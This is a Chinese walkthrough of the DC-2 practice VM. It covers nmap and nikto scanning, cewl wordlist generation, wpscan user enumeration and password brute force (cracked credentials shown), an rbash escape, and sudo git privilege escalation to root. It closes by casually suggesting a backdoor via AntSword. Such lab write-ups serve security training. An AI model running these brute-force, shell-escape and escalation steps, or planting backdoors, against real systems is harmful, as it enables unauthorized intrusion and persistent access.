前面铺垫了不少理论知识,现在正经地打一次靶场。
非常有名的DC靶机的第二部。
在虚拟机中,网络适配器要设置为NAT,不然扫描不到IP
信息收集
arp-scan - l:扫描ARP表,使用ARP协议去发现主机IP在内网中
使用nmap进行扫描
nmap -sP 192.168.221.0/24
扫描这个网段的IP
扫描结果:
得知IP为
191.68.221.141
,nmap扫描端口,发现开了80,7744端口,而且无法重定向到http://dc-2很明显,DNS没有被解析。编辑hosts文件将地址添加,并访问页面,成功显示。还得知是个WordPress网站。
其实也可以访问一些wordpress敏感目录(robots.txt,wp-includes,wp-content等)。也可以直接扫描网站目录
nikto -h dc-2

发现有以下页面。
渗透过程
打开网站后,直接就找到了一个flag
将提示翻译一下:
提示我们需要一个用户名来登录,而且其中有一个关键字:cewl(kali自带这个工具),这是一个linux的字典生成工具,最大的特点就是能够爬取网站的信息并生成字典。
使用cewl来爬取网站并生成密码字典
cewl http://dc-2/ -w dc-2.txt #生成字典
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
如果你想生成指定长度的密码字典,你可以使用-m选项来设置:
>cewl http://xxxx/ -m 9
上述命令将生成长度至少为9位的密码
扫描出网站的用户名
因为网站是wordpress,所以采用wpscan来扫描
wpscan --url dc-2 -e u #扫描出网站的用户名,-u:枚举用户名

发现了三个用户名。
开始爆破
使用之前获取的三个用户名和cewl工具生成的字典的来爆破
dc-2-user.txt文件:存放用户名 dc-2.txt:存放密码
wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2.txt
扫出来tom和jerry的密码
jerry/adipiscing
tom/parturient
登录后台,wordpress默认后台路径是:/wp-login.php
,访问后台登录界面,使用用户名jerry登录
点击Pages按钮,查看到flag2,查看flag2
提示翻译一下
另辟蹊径,尝试用ssh登录,使用jerry登录,被拒绝登录了,只能使用tom用户登录。
ssh tom@192.168.221.141 -p 7744 #注意这里的端口不是常见22
查看里面都有些什么,发现flag3.txt。
查看环境变量(PATH),并查看所能使用的命令
只能用四个。用vi查看一下flag3.txt,出现这样一句话。成功获取flag3。
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
译为:可怜的老汤姆总是追杰瑞。也许他应该为自己造成的压力负责。
线索指向了jerry,提示使用su切换用户。但是我们没有su命令的使用权,所以得绕过rbash(命令限制)。
#绕过rbash
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量
#添加环境变量
export PATH=$PATH:/bin/ #将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin/ #将/usr/bin作为PATH环境变量导出
进入到jerry 用户的家目录,有flag4.txt文件,查看文件,提示为git提权。
想尝试用find命令提权,但是没有成功,也没有find命令。
使用sudo -l
( 显示出自己(执行 sudo 的使用者)的权限)查看一下他的权限,发现其不需要密码就可执行git命令。
git提权
#方法一:
sudo git help config
!/bin/bash或者!'sh'完成提权
#方法二:
sudo git -p help
!/bin/bash

只有方法一成功了。方法二,不让我输入下一条命令。
查看最后一个flag文件。成功完成。

按照常规渗透,最后一步按个后门。可以用蚁剑,具体就不赘述了。